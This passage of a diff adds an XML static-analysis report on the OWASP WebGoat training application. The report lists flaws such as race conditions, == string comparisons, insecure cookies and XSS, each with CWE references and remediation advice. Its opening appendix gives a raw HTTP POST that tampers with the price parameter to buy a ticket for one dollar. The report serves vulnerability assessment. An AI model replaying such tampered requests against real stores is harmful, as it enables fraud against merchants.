+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
